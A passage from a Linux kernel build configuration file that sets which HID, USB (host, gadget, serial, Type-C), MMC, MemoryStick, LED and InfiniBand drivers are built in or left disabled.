# CONFIG_SND_SOC_NTP8835 is not set
# CONFIG_SND_SOC_TPA6130A2 is not set
# CONFIG_SND_SOC_LPASS_WSA_MACRO is not set
# CONFIG_SND_SOC_LPASS_VA_MACRO is not set
# CONFIG_SND_SOC_LPASS_RX_MACRO is not set
# CONFIG_SND_SOC_LPASS_TX_MACRO is not set
# end of CODEC drivers

#
# Generic drivers
#
# CONFIG_SND_SIMPLE_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD2 is not set
# CONFIG_SND_TEST_COMPONENT is not set
# end of Generic drivers

CONFIG_SND_X86=y
# CONFIG_HDMI_LPE_AUDIO is not set
CONFIG_SND_VIRTIO=y
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HID_BATTERY_STRENGTH=y
CONFIG_HIDRAW=y
CONFIG_UHID=y
CONFIG_HID_GENERIC=y
CONFIG_HID_HAPTIC=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
CONFIG_HID_ACCUTOUCH=y
CONFIG_HID_ACRUX=y
CONFIG_HID_ACRUX_FF=y
CONFIG_HID_APPLE=y
CONFIG_HID_APPLEIR=y
# CONFIG_HID_APPLETB_BL is not set
# CONFIG_HID_APPLETB_KBD is not set
CONFIG_HID_ASUS=y
CONFIG_HID_AUREAL=y
CONFIG_HID_BELKIN=y
CONFIG_HID_BETOP_FF=y
CONFIG_HID_BIGBEN_FF=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CORSAIR=y
CONFIG_HID_COUGAR=y
CONFIG_HID_MACALLY=y
CONFIG_HID_PRODIKEYS=y
CONFIG_HID_CMEDIA=y
CONFIG_HID_CP2112=y
CONFIG_HID_CREATIVE_SB0540=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_DRAGONRISE=y
CONFIG_DRAGONRISE_FF=y
CONFIG_HID_EMS_FF=y
CONFIG_HID_ELAN=y
CONFIG_HID_ELECOM=y
CONFIG_HID_ELO=y
CONFIG_HID_EVISION=y
CONFIG_HID_EZKEY=y
CONFIG_HID_FT260=y
CONFIG_HID_GEMBIRD=y
CONFIG_HID_GFRM=y
CONFIG_HID_GLORIOUS=y
CONFIG_HID_HOLTEK=y
CONFIG_HOLTEK_FF=y
CONFIG_HID_VIVALDI_COMMON=y
# CONFIG_HID_GOODIX_SPI is not set
CONFIG_HID_GOOGLE_STADIA_FF=y
CONFIG_HID_VIVALDI=y
CONFIG_HID_GT683R=y
CONFIG_HID_KEYTOUCH=y
CONFIG_HID_KYE=y
# CONFIG_HID_KYSONA is not set
CONFIG_HID_UCLOGIC=y
CONFIG_HID_WALTOP=y
CONFIG_HID_VIEWSONIC=y
CONFIG_HID_VRC2=y
CONFIG_HID_XIAOMI=y
CONFIG_HID_GYRATION=y
CONFIG_HID_ICADE=y
CONFIG_HID_ITE=y
CONFIG_HID_JABRA=y
CONFIG_HID_TWINHAN=y
CONFIG_HID_KENSINGTON=y
CONFIG_HID_LCPOWER=y
CONFIG_HID_LED=y
CONFIG_HID_LENOVO=y
CONFIG_HID_LETSKETCH=y
CONFIG_HID_LOGITECH=y
CONFIG_HID_LOGITECH_DJ=y
CONFIG_HID_LOGITECH_HIDPP=y
CONFIG_LOGITECH_FF=y
CONFIG_LOGIRUMBLEPAD2_FF=y
CONFIG_LOGIG940_FF=y
CONFIG_LOGIWHEELS_FF=y
CONFIG_HID_MAGICMOUSE=y
CONFIG_HID_MALTRON=y
CONFIG_HID_MAYFLASH=y
CONFIG_HID_MEGAWORLD_FF=y
CONFIG_HID_REDRAGON=y
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_HID_MULTITOUCH=y
CONFIG_HID_NINTENDO=y
CONFIG_NINTENDO_FF=y
CONFIG_HID_NTI=y
CONFIG_HID_NTRIG=y
CONFIG_HID_NVIDIA_SHIELD=y
CONFIG_NVIDIA_SHIELD_FF=y
CONFIG_HID_ORTEK=y
CONFIG_HID_PANTHERLORD=y
CONFIG_PANTHERLORD_FF=y
CONFIG_HID_PENMOUNT=y
CONFIG_HID_PETALYNX=y
CONFIG_HID_PICOLCD=y
CONFIG_HID_PICOLCD_FB=y
CONFIG_HID_PICOLCD_BACKLIGHT=y
CONFIG_HID_PICOLCD_LCD=y
CONFIG_HID_PICOLCD_LEDS=y
CONFIG_HID_PICOLCD_CIR=y
CONFIG_HID_PLANTRONICS=y
CONFIG_HID_PLAYSTATION=y
CONFIG_PLAYSTATION_FF=y
CONFIG_HID_PXRC=y
# CONFIG_HID_RAPOO is not set
CONFIG_HID_RAZER=y
CONFIG_HID_PRIMAX=y
CONFIG_HID_RETRODE=y
CONFIG_HID_ROCCAT=y
CONFIG_HID_SAITEK=y
CONFIG_HID_SAMSUNG=y
CONFIG_HID_SEMITEK=y
CONFIG_HID_SIGMAMICRO=y
CONFIG_HID_SONY=y
CONFIG_SONY_FF=y
CONFIG_HID_SPEEDLINK=y
CONFIG_HID_STEAM=y
CONFIG_STEAM_FF=y
CONFIG_HID_STEELSERIES=y
CONFIG_HID_SUNPLUS=y
CONFIG_HID_RMI=y
CONFIG_HID_GREENASIA=y
CONFIG_GREENASIA_FF=y
CONFIG_HID_SMARTJOYPLUS=y
CONFIG_SMARTJOYPLUS_FF=y
CONFIG_HID_TIVO=y
CONFIG_HID_TOPSEED=y
CONFIG_HID_TOPRE=y
CONFIG_HID_THINGM=y
CONFIG_HID_THRUSTMASTER=y
CONFIG_THRUSTMASTER_FF=y
CONFIG_HID_UDRAW_PS3=y
CONFIG_HID_U2FZERO=y
# CONFIG_HID_UNIVERSAL_PIDFF is not set
CONFIG_HID_WACOM=y
CONFIG_HID_WIIMOTE=y
# CONFIG_HID_WINWING is not set
CONFIG_HID_XINMO=y
CONFIG_HID_ZEROPLUS=y
CONFIG_ZEROPLUS_FF=y
CONFIG_HID_ZYDACRON=y
CONFIG_HID_SENSOR_HUB=y
CONFIG_HID_SENSOR_CUSTOM_SENSOR=y
CONFIG_HID_ALPS=y
CONFIG_HID_MCP2200=y
CONFIG_HID_MCP2221=y
# end of Special HID drivers

#
# HID-BPF support
#
# end of HID-BPF support

CONFIG_I2C_HID=y
CONFIG_I2C_HID_ACPI=y
CONFIG_I2C_HID_OF=y
# CONFIG_I2C_HID_OF_ELAN is not set
# CONFIG_I2C_HID_OF_GOODIX is not set
CONFIG_I2C_HID_CORE=y

#
# Intel ISH HID support
#
CONFIG_INTEL_ISH_HID=y
CONFIG_INTEL_ISH_FIRMWARE_DOWNLOADER=y
# end of Intel ISH HID support

#
# AMD SFH HID Support
#
CONFIG_AMD_SFH_HID=y
# end of AMD SFH HID Support

#
# Surface System Aggregator Module HID support
#
CONFIG_SURFACE_HID=y
CONFIG_SURFACE_KBD=y
# end of Surface System Aggregator Module HID support

CONFIG_SURFACE_HID_CORE=y

#
# Intel THC HID Support
#
# CONFIG_INTEL_THC_HID is not set
# end of Intel THC HID Support

#
# USB HID support
#
CONFIG_USB_HID=y
CONFIG_HID_PID=y
CONFIG_USB_HIDDEV=y
# end of USB HID support

CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_LED_TRIG=y
CONFIG_USB_ULPI_BUS=y
CONFIG_USB_CONN_GPIO=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
CONFIG_USB_PCI=y
CONFIG_USB_PCI_AMD=y
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
CONFIG_USB_FEW_INIT_RETRIES=y
CONFIG_USB_DYNAMIC_MINORS=y
CONFIG_USB_OTG=y
# CONFIG_USB_OTG_PRODUCTLIST is not set
# CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set
CONFIG_USB_OTG_FSM=y
CONFIG_USB_LEDS_TRIGGER_USBPORT=y
CONFIG_USB_AUTOSUSPEND_DELAY=2
CONFIG_USB_DEFAULT_AUTHORIZATION_MODE=1
CONFIG_USB_MON=y

#
# USB Host Controller Drivers
#
CONFIG_USB_C67X00_HCD=y
CONFIG_USB_XHCI_HCD=y
CONFIG_USB_XHCI_DBGCAP=y
CONFIG_USB_XHCI_PCI=y
CONFIG_USB_XHCI_PCI_RENESAS=y
CONFIG_USB_XHCI_PLATFORM=y
# CONFIG_USB_XHCI_SIDEBAND is not set
CONFIG_USB_EHCI_HCD=y
CONFIG_USB_EHCI_ROOT_HUB_TT=y
CONFIG_USB_EHCI_TT_NEWSCHED=y
CONFIG_USB_EHCI_PCI=y
CONFIG_USB_EHCI_FSL=y
CONFIG_USB_EHCI_HCD_PLATFORM=y
CONFIG_USB_OXU210HP_HCD=y
CONFIG_USB_ISP116X_HCD=y
CONFIG_USB_MAX3421_HCD=y
CONFIG_USB_OHCI_HCD=y
CONFIG_USB_OHCI_HCD_PCI=y
# CONFIG_USB_OHCI_HCD_SSB is not set
CONFIG_USB_OHCI_HCD_PLATFORM=y
CONFIG_USB_UHCI_HCD=y
CONFIG_USB_SL811_HCD=y
CONFIG_USB_SL811_HCD_ISO=y
CONFIG_USB_SL811_CS=y
CONFIG_USB_R8A66597_HCD=y
CONFIG_USB_HCD_BCMA=y
CONFIG_USB_HCD_SSB=y
# CONFIG_USB_HCD_TEST_MODE is not set

#
# USB Device Class drivers
#
CONFIG_USB_ACM=y
CONFIG_USB_PRINTER=y
CONFIG_USB_WDM=y
CONFIG_USB_TMC=y

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
CONFIG_USB_STORAGE_REALTEK=y
CONFIG_REALTEK_AUTOPM=y
CONFIG_USB_STORAGE_DATAFAB=y
CONFIG_USB_STORAGE_FREECOM=y
CONFIG_USB_STORAGE_ISD200=y
CONFIG_USB_STORAGE_USBAT=y
CONFIG_USB_STORAGE_SDDR09=y
CONFIG_USB_STORAGE_SDDR55=y
CONFIG_USB_STORAGE_JUMPSHOT=y
CONFIG_USB_STORAGE_ALAUDA=y
CONFIG_USB_STORAGE_ONETOUCH=y
CONFIG_USB_STORAGE_KARMA=y
CONFIG_USB_STORAGE_CYPRESS_ATACB=y
CONFIG_USB_STORAGE_ENE_UB6250=y
CONFIG_USB_UAS=y

#
# USB Imaging devices
#
CONFIG_USB_MDC800=y
CONFIG_USB_MICROTEK=y
CONFIG_USBIP_CORE=y
CONFIG_USBIP_VHCI_HCD=y
CONFIG_USBIP_VHCI_HC_PORTS=8
CONFIG_USBIP_VHCI_NR_HCS=16
CONFIG_USBIP_HOST=y
CONFIG_USBIP_VUDC=y
# CONFIG_USBIP_DEBUG is not set

#
# USB dual-mode controller drivers
#
CONFIG_USB_CDNS_SUPPORT=y
CONFIG_USB_CDNS_HOST=y
CONFIG_USB_CDNS3=y
CONFIG_USB_CDNS3_GADGET=y
CONFIG_USB_CDNS3_HOST=y
CONFIG_USB_CDNS3_PCI_WRAP=y
CONFIG_USB_CDNSP_PCI=y
CONFIG_USB_CDNSP_GADGET=y
CONFIG_USB_CDNSP_HOST=y
CONFIG_USB_MUSB_HDRC=y
# CONFIG_USB_MUSB_HOST is not set
# CONFIG_USB_MUSB_GADGET is not set
CONFIG_USB_MUSB_DUAL_ROLE=y

#
# Platform Glue Layer
#

#
# MUSB DMA mode
#
CONFIG_MUSB_PIO_ONLY=y
CONFIG_USB_DWC3=y
CONFIG_USB_DWC3_ULPI=y
# CONFIG_USB_DWC3_HOST is not set
CONFIG_USB_DWC3_GADGET=y
# CONFIG_USB_DWC3_DUAL_ROLE is not set

#
# Platform Glue Driver Support
#
CONFIG_USB_DWC3_PCI=y
CONFIG_USB_DWC3_HAPS=y
CONFIG_USB_DWC3_OF_SIMPLE=y
CONFIG_USB_DWC3_GENERIC_PLAT=y
# CONFIG_USB_DWC3_GOOGLE is not set
CONFIG_USB_DWC2=y
CONFIG_USB_DWC2_HOST=y

#
# Gadget/Dual-role mode requires USB Gadget support to be enabled
#
# CONFIG_USB_DWC2_PERIPHERAL is not set
# CONFIG_USB_DWC2_DUAL_ROLE is not set
CONFIG_USB_DWC2_PCI=y
# CONFIG_USB_DWC2_DEBUG is not set
# CONFIG_USB_DWC2_TRACK_MISSED_SOFS is not set
CONFIG_USB_CHIPIDEA=y
CONFIG_USB_CHIPIDEA_UDC=y
CONFIG_USB_CHIPIDEA_HOST=y
CONFIG_USB_CHIPIDEA_PCI=y
CONFIG_USB_CHIPIDEA_MSM=y
CONFIG_USB_CHIPIDEA_NPCM=y
# CONFIG_USB_CHIPIDEA_IMX is not set
CONFIG_USB_CHIPIDEA_GENERIC=y
# CONFIG_USB_CHIPIDEA_TEGRA is not set
CONFIG_USB_ISP1760=y
CONFIG_USB_ISP1760_HCD=y
CONFIG_USB_ISP1761_UDC=y
# CONFIG_USB_ISP1760_HOST_ROLE is not set
# CONFIG_USB_ISP1760_GADGET_ROLE is not set
CONFIG_USB_ISP1760_DUAL_ROLE=y

#
# USB port drivers
#
CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_CONSOLE=y
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_SIMPLE=y
CONFIG_USB_SERIAL_AIRCABLE=y
CONFIG_USB_SERIAL_ARK3116=y
CONFIG_USB_SERIAL_BELKIN=y
CONFIG_USB_SERIAL_CH341=y
CONFIG_USB_SERIAL_WHITEHEAT=y
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=y
CONFIG_USB_SERIAL_CP210X=y
CONFIG_USB_SERIAL_CYPRESS_M8=y
CONFIG_USB_SERIAL_EMPEG=y
CONFIG_USB_SERIAL_FTDI_SIO=y
CONFIG_USB_SERIAL_VISOR=y
CONFIG_USB_SERIAL_IPAQ=y
CONFIG_USB_SERIAL_IR=y
CONFIG_USB_SERIAL_EDGEPORT=y
CONFIG_USB_SERIAL_EDGEPORT_TI=y
CONFIG_USB_SERIAL_F81232=y
CONFIG_USB_SERIAL_F8153X=y
CONFIG_USB_SERIAL_GARMIN=y
CONFIG_USB_SERIAL_IPW=y
CONFIG_USB_SERIAL_IUU=y
CONFIG_USB_SERIAL_KEYSPAN_PDA=y
CONFIG_USB_SERIAL_KEYSPAN=y
CONFIG_USB_SERIAL_KLSI=y
CONFIG_USB_SERIAL_KOBIL_SCT=y
CONFIG_USB_SERIAL_MCT_U232=y
CONFIG_USB_SERIAL_METRO=y
CONFIG_USB_SERIAL_MOS7720=y
CONFIG_USB_SERIAL_MOS7715_PARPORT=y
CONFIG_USB_SERIAL_MOS7840=y
CONFIG_USB_SERIAL_MXUPORT=y
CONFIG_USB_SERIAL_NAVMAN=y
CONFIG_USB_SERIAL_PL2303=y
CONFIG_USB_SERIAL_OTI6858=y
CONFIG_USB_SERIAL_QCAUX=y
CONFIG_USB_SERIAL_QUALCOMM=y
CONFIG_USB_SERIAL_SPCP8X5=y
CONFIG_USB_SERIAL_SAFE=y
# CONFIG_USB_SERIAL_SAFE_PADDED is not set
CONFIG_USB_SERIAL_SIERRAWIRELESS=y
CONFIG_USB_SERIAL_SYMBOL=y
CONFIG_USB_SERIAL_TI=y
CONFIG_USB_SERIAL_CYBERJACK=y
CONFIG_USB_SERIAL_WWAN=y
CONFIG_USB_SERIAL_OPTION=y
CONFIG_USB_SERIAL_OMNINET=y
CONFIG_USB_SERIAL_OPTICON=y
CONFIG_USB_SERIAL_XSENS_MT=y
CONFIG_USB_SERIAL_WISHBONE=y
CONFIG_USB_SERIAL_SSU100=y
CONFIG_USB_SERIAL_QT2=y
CONFIG_USB_SERIAL_UPD78F0730=y
CONFIG_USB_SERIAL_XR=y
CONFIG_USB_SERIAL_DEBUG=y

#
# USB Miscellaneous drivers
#
CONFIG_USB_USS720=y
CONFIG_USB_EMI62=y
CONFIG_USB_EMI26=y
CONFIG_USB_ADUTUX=y
CONFIG_USB_SEVSEG=y
CONFIG_USB_LEGOTOWER=y
CONFIG_USB_LCD=y
CONFIG_USB_CYPRESS_CY7C63=y
CONFIG_USB_CYTHERM=y
CONFIG_USB_IDMOUSE=y
CONFIG_USB_APPLEDISPLAY=y
CONFIG_APPLE_MFI_FASTCHARGE=y
CONFIG_USB_LJCA=y
# CONFIG_USB_USBIO is not set
CONFIG_USB_SISUSBVGA=y
CONFIG_USB_LD=y
CONFIG_USB_TRANCEVIBRATOR=y
CONFIG_USB_IOWARRIOR=y
CONFIG_USB_TEST=y
CONFIG_USB_EHSET_TEST_FIXTURE=y
CONFIG_USB_ISIGHTFW=y
CONFIG_USB_YUREX=y
CONFIG_USB_EZUSB_FX2=y
CONFIG_USB_HUB_USB251XB=y
CONFIG_USB_HSIC_USB3503=y
CONFIG_USB_HSIC_USB4604=y
CONFIG_USB_LINK_LAYER_TEST=y
CONFIG_USB_CHAOSKEY=y
# CONFIG_USB_ONBOARD_DEV is not set
CONFIG_USB_ATM=y
CONFIG_USB_SPEEDTOUCH=y
CONFIG_USB_CXACRU=y
CONFIG_USB_UEAGLEATM=y
CONFIG_USB_XUSBATM=y

#
# USB Physical Layer drivers
#
CONFIG_USB_PHY=y
CONFIG_NOP_USB_XCEIV=y
CONFIG_TAHVO_USB=y
CONFIG_TAHVO_USB_HOST_BY_DEFAULT=y
CONFIG_USB_ISP1301=y
# end of USB Physical Layer drivers

CONFIG_USB_GADGET=y
# CONFIG_USB_GADGET_DEBUG is not set
CONFIG_USB_GADGET_DEBUG_FILES=y
CONFIG_USB_GADGET_DEBUG_FS=y
CONFIG_USB_GADGET_VBUS_DRAW=2
CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2
CONFIG_U_SERIAL_CONSOLE=y

#
# USB Peripheral Controller
#
CONFIG_USB_GR_UDC=y
CONFIG_USB_R8A66597=y
CONFIG_USB_PXA27X=y
CONFIG_USB_SNP_CORE=y
# CONFIG_USB_SNP_UDC_PLAT is not set
# CONFIG_USB_M66592 is not set
CONFIG_USB_BDC_UDC=y
CONFIG_USB_AMD5536UDC=y
CONFIG_USB_NET2280=y
CONFIG_USB_GOKU=y
CONFIG_USB_EG20T=y
# CONFIG_USB_GADGET_XILINX is not set
CONFIG_USB_MAX3420_UDC=y
CONFIG_USB_CDNS2_UDC=y
CONFIG_USB_DUMMY_HCD=y
# end of USB Peripheral Controller

CONFIG_USB_LIBCOMPOSITE=y
CONFIG_USB_F_ACM=y
CONFIG_USB_F_SS_LB=y
CONFIG_USB_U_SERIAL=y
CONFIG_USB_U_ETHER=y
CONFIG_USB_U_AUDIO=y
CONFIG_USB_F_SERIAL=y
CONFIG_USB_F_OBEX=y
CONFIG_USB_F_NCM=y
CONFIG_USB_F_ECM=y
CONFIG_USB_F_PHONET=y
CONFIG_USB_F_EEM=y
CONFIG_USB_F_SUBSET=y
CONFIG_USB_F_RNDIS=y
CONFIG_USB_F_MASS_STORAGE=y
CONFIG_USB_F_FS=y
CONFIG_USB_F_UAC1=y
CONFIG_USB_F_UAC1_LEGACY=y
CONFIG_USB_F_UAC2=y
CONFIG_USB_F_UVC=y
CONFIG_USB_F_MIDI=y
CONFIG_USB_F_MIDI2=y
CONFIG_USB_F_HID=y
CONFIG_USB_F_PRINTER=y
CONFIG_USB_F_TCM=y
CONFIG_USB_CONFIGFS=y
CONFIG_USB_CONFIGFS_SERIAL=y
CONFIG_USB_CONFIGFS_ACM=y
CONFIG_USB_CONFIGFS_OBEX=y
CONFIG_USB_CONFIGFS_NCM=y
CONFIG_USB_CONFIGFS_ECM=y
CONFIG_USB_CONFIGFS_ECM_SUBSET=y
CONFIG_USB_CONFIGFS_RNDIS=y
CONFIG_USB_CONFIGFS_EEM=y
CONFIG_USB_CONFIGFS_PHONET=y
CONFIG_USB_CONFIGFS_MASS_STORAGE=y
CONFIG_USB_CONFIGFS_F_LB_SS=y
CONFIG_USB_CONFIGFS_F_FS=y
CONFIG_USB_CONFIGFS_F_UAC1=y
CONFIG_USB_CONFIGFS_F_UAC1_LEGACY=y
CONFIG_USB_CONFIGFS_F_UAC2=y
CONFIG_USB_CONFIGFS_F_MIDI=y
CONFIG_USB_CONFIGFS_F_MIDI2=y
CONFIG_USB_CONFIGFS_F_HID=y
CONFIG_USB_CONFIGFS_F_UVC=y
CONFIG_USB_CONFIGFS_F_PRINTER=y
CONFIG_USB_CONFIGFS_F_TCM=y

#
# USB Gadget precomposed configurations
#
# CONFIG_USB_ZERO is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_ETH is not set
# CONFIG_USB_G_NCM is not set
CONFIG_USB_GADGETFS=y
# CONFIG_USB_FUNCTIONFS is not set
# CONFIG_USB_MASS_STORAGE is not set
# CONFIG_USB_GADGET_TARGET is not set
# CONFIG_USB_G_SERIAL is not set
# CONFIG_USB_MIDI_GADGET is not set
# CONFIG_USB_G_PRINTER is not set
# CONFIG_USB_CDC_COMPOSITE is not set
# CONFIG_USB_G_NOKIA is not set
# CONFIG_USB_G_ACM_MS is not set
# CONFIG_USB_G_MULTI is not set
# CONFIG_USB_G_HID is not set
# CONFIG_USB_G_DBGP is not set
# CONFIG_USB_G_WEBCAM is not set
CONFIG_USB_RAW_GADGET=y
# end of USB Gadget precomposed configurations

CONFIG_TYPEC=y
CONFIG_TYPEC_TCPM=y
CONFIG_TYPEC_TCPCI=y
CONFIG_TYPEC_RT1711H=y
CONFIG_TYPEC_MT6360=y
CONFIG_TYPEC_TCPCI_MT6370=y
CONFIG_TYPEC_TCPCI_MAXIM=y
CONFIG_TYPEC_FUSB302=y
CONFIG_TYPEC_WCOVE=y
CONFIG_TYPEC_UCSI=y
CONFIG_UCSI_CCG=y
CONFIG_UCSI_ACPI=y
CONFIG_UCSI_STM32G0=y
CONFIG_TYPEC_TPS6598X=y
CONFIG_TYPEC_ANX7411=y
CONFIG_TYPEC_RT1719=y
CONFIG_TYPEC_HD3SS3220=y
CONFIG_TYPEC_STUSB160X=y
CONFIG_TYPEC_WUSB3801=y

#
# USB Type-C Multiplexer/DeMultiplexer Switch support
#
CONFIG_TYPEC_MUX_FSA4480=y
CONFIG_TYPEC_MUX_GPIO_SBU=y
CONFIG_TYPEC_MUX_PI3USB30532=y
CONFIG_TYPEC_MUX_INTEL_PMC=y
# CONFIG_TYPEC_MUX_IT5205 is not set
CONFIG_TYPEC_MUX_NB7VPQ904M=y
# CONFIG_TYPEC_MUX_PS883X is not set
CONFIG_TYPEC_MUX_PTN36502=y
# CONFIG_TYPEC_MUX_TUSB1046 is not set
CONFIG_TYPEC_MUX_WCD939X_USBSS=y
# end of USB Type-C Multiplexer/DeMultiplexer Switch support

#
# USB Type-C Alternate Mode drivers
#
CONFIG_TYPEC_DP_ALTMODE=y
CONFIG_TYPEC_NVIDIA_ALTMODE=y
# CONFIG_TYPEC_TBT_ALTMODE is not set
# end of USB Type-C Alternate Mode drivers

CONFIG_USB_ROLE_SWITCH=y
CONFIG_USB_ROLES_INTEL_XHCI=y
CONFIG_MMC=y
# CONFIG_PWRSEQ_EMMC is not set
# CONFIG_PWRSEQ_SD8787 is not set
# CONFIG_PWRSEQ_SIMPLE is not set
# CONFIG_MMC_BLOCK is not set
# CONFIG_SDIO_UART is not set
# CONFIG_MMC_TEST is not set
# CONFIG_MMC_CRYPTO is not set

#
# MMC/SD/SDIO Host Controller Drivers
#
# CONFIG_MMC_DEBUG is not set
# CONFIG_MMC_SDHCI is not set
# CONFIG_MMC_WBSD is not set
# CONFIG_MMC_TIFM_SD is not set
# CONFIG_MMC_SPI is not set
# CONFIG_MMC_SDRICOH_CS is not set
# CONFIG_MMC_CB710 is not set
# CONFIG_MMC_VIA_SDMMC is not set
CONFIG_MMC_VUB300=y
CONFIG_MMC_USHC=y
# CONFIG_MMC_USDHI6ROL0 is not set
CONFIG_MMC_REALTEK_USB=y
# CONFIG_MMC_CQHCI is not set
# CONFIG_MMC_HSQ is not set
# CONFIG_MMC_TOSHIBA_PCI is not set
# CONFIG_MMC_MTK is not set
# CONFIG_SCSI_UFSHCD is not set
CONFIG_MEMSTICK=y
# CONFIG_MEMSTICK_DEBUG is not set

#
# MemoryStick drivers
#
# CONFIG_MEMSTICK_UNSAFE_RESUME is not set
# CONFIG_MSPRO_BLOCK is not set
# CONFIG_MS_BLOCK is not set

#
# MemoryStick Host Controller Drivers
#
# CONFIG_MEMSTICK_TIFM_MS is not set
# CONFIG_MEMSTICK_JMICRON_38X is not set
# CONFIG_MEMSTICK_R592 is not set
CONFIG_MEMSTICK_REALTEK_USB=y
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y
# CONFIG_LEDS_CLASS_FLASH is not set
CONFIG_LEDS_CLASS_MULTICOLOR=y
# CONFIG_LEDS_BRIGHTNESS_HW_CHANGED is not set

#
# LED drivers
#
# CONFIG_LEDS_AN30259A is not set
# CONFIG_LEDS_APU is not set
# CONFIG_LEDS_OSRAM_AMS_AS3668 is not set
# CONFIG_LEDS_AW200XX is not set
# CONFIG_LEDS_AW2013 is not set
# CONFIG_LEDS_BCM6328 is not set
# CONFIG_LEDS_BCM6358 is not set
# CONFIG_LEDS_CHT_WCOVE is not set
# CONFIG_LEDS_CR0014114 is not set
# CONFIG_LEDS_EL15203000 is not set
# CONFIG_LEDS_LM3530 is not set
# CONFIG_LEDS_LM3532 is not set
# CONFIG_LEDS_LM3642 is not set
# CONFIG_LEDS_LM3692X is not set
# CONFIG_LEDS_PCA9532 is not set
# CONFIG_LEDS_GPIO is not set
# CONFIG_LEDS_LP3944 is not set
# CONFIG_LEDS_LP3952 is not set
# CONFIG_LEDS_LP50XX is not set
# CONFIG_LEDS_LP55XX_COMMON is not set
# CONFIG_LEDS_LP8860 is not set
# CONFIG_LEDS_LP8864 is not set
# CONFIG_LEDS_PCA955X is not set
# CONFIG_LEDS_PCA963X is not set
# CONFIG_LEDS_PCA995X is not set
# CONFIG_LEDS_DAC124S085 is not set
# CONFIG_LEDS_REGULATOR is not set
# CONFIG_LEDS_BD2606MVV is not set
# CONFIG_LEDS_BD2802 is not set
# CONFIG_LEDS_INTEL_SS4200 is not set
# CONFIG_LEDS_LT3593 is not set
# CONFIG_LEDS_TCA6507 is not set
# CONFIG_LEDS_TLC591XX is not set
# CONFIG_LEDS_LM355x is not set
# CONFIG_LEDS_IS31FL319X is not set
# CONFIG_LEDS_IS31FL32XX is not set

#
# LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM)
#
# CONFIG_LEDS_BLINKM is not set
# CONFIG_LEDS_SYSCON is not set
# CONFIG_LEDS_MLXCPLD is not set
# CONFIG_LEDS_MLXREG is not set
# CONFIG_LEDS_USER is not set
# CONFIG_LEDS_NIC78BX is not set
# CONFIG_LEDS_SPI_BYTE is not set
# CONFIG_LEDS_LM3697 is not set
# CONFIG_LEDS_ST1202 is not set
# CONFIG_LEDS_LGM is not set

#
# Flash and Torch LED drivers
#

#
# RGB LED drivers
#
# CONFIG_LEDS_GROUP_MULTICOLOR is not set
# CONFIG_LEDS_KTD202X is not set
# CONFIG_LEDS_LP5812 is not set
# CONFIG_LEDS_NCP5623 is not set
# CONFIG_LEDS_MT6370_RGB is not set

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
# CONFIG_LEDS_TRIGGER_TIMER is not set
# CONFIG_LEDS_TRIGGER_ONESHOT is not set
# CONFIG_LEDS_TRIGGER_DISK is not set
# CONFIG_LEDS_TRIGGER_MTD is not set
# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set
# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set
# CONFIG_LEDS_TRIGGER_CPU is not set
# CONFIG_LEDS_TRIGGER_ACTIVITY is not set
# CONFIG_LEDS_TRIGGER_GPIO is not set
# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_LEDS_TRIGGER_TRANSIENT is not set
# CONFIG_LEDS_TRIGGER_CAMERA is not set
# CONFIG_LEDS_TRIGGER_PANIC is not set
# CONFIG_LEDS_TRIGGER_NETDEV is not set
# CONFIG_LEDS_TRIGGER_PATTERN is not set
# CONFIG_LEDS_TRIGGER_TTY is not set
# CONFIG_LEDS_TRIGGER_INPUT_EVENTS is not set

#
# Simatic LED drivers
#
# CONFIG_ACCESSIBILITY is not set
CONFIG_INFINIBAND=y
CONFIG_INFINIBAND_USER_MAD=y
CONFIG_INFINIBAND_USER_ACCESS=y
CONFIG_INFINIBAND_USER_MEM=y
CONFIG_INFINIBAND_ON_DEMAND_PAGING=y
CONFIG_INFINIBAND_ADDR_TRANS=y
CONFIG_INFINIBAND_ADDR_TRANS_CONFIGFS=y
CONFIG_INFINIBAND_VIRT_DMA=y
# CONFIG_INFINIBAND_EFA is not set
# CONFIG_INFINIBAND_ERDMA is not set
CONFIG_MLX4_INFINIBAND=y
# CONFIG_INFINIBAND_MTHCA is not set
# CONFIG_INFINIBAND_OCRDMA is not set
# CONFIG_INFINIBAND_USNIC is not set
# CONFIG_INFINIBAND_VMWARE_PVRDMA is not set
# CONFIG_INFINIBAND_RDMAVT is not set
CONFIG_RDMA_RXE=y
CONFIG_RDMA_SIW=y
CONFIG_INFINIBAND_IPOIB=y
CONFIG_INFINIBAND_IPOIB_CM=y
CONFIG_INFINIBAND_IPOIB_DEBUG=y
# CONFIG_INFINIBAND_IPOIB_DEBUG_DATA is not set
CONFIG_INFINIBAND_SRP=y
# CONFIG_INFINIBAND_SRPT is not set
CONFIG_INFINIBAND_ISER=y
CONFIG_INFINIBAND_RTRS=y
CONFIG_INFINIBAND_RTRS_CLIENT=y
# CONFIG_INFINIBAND_RTRS_SERVER is not set
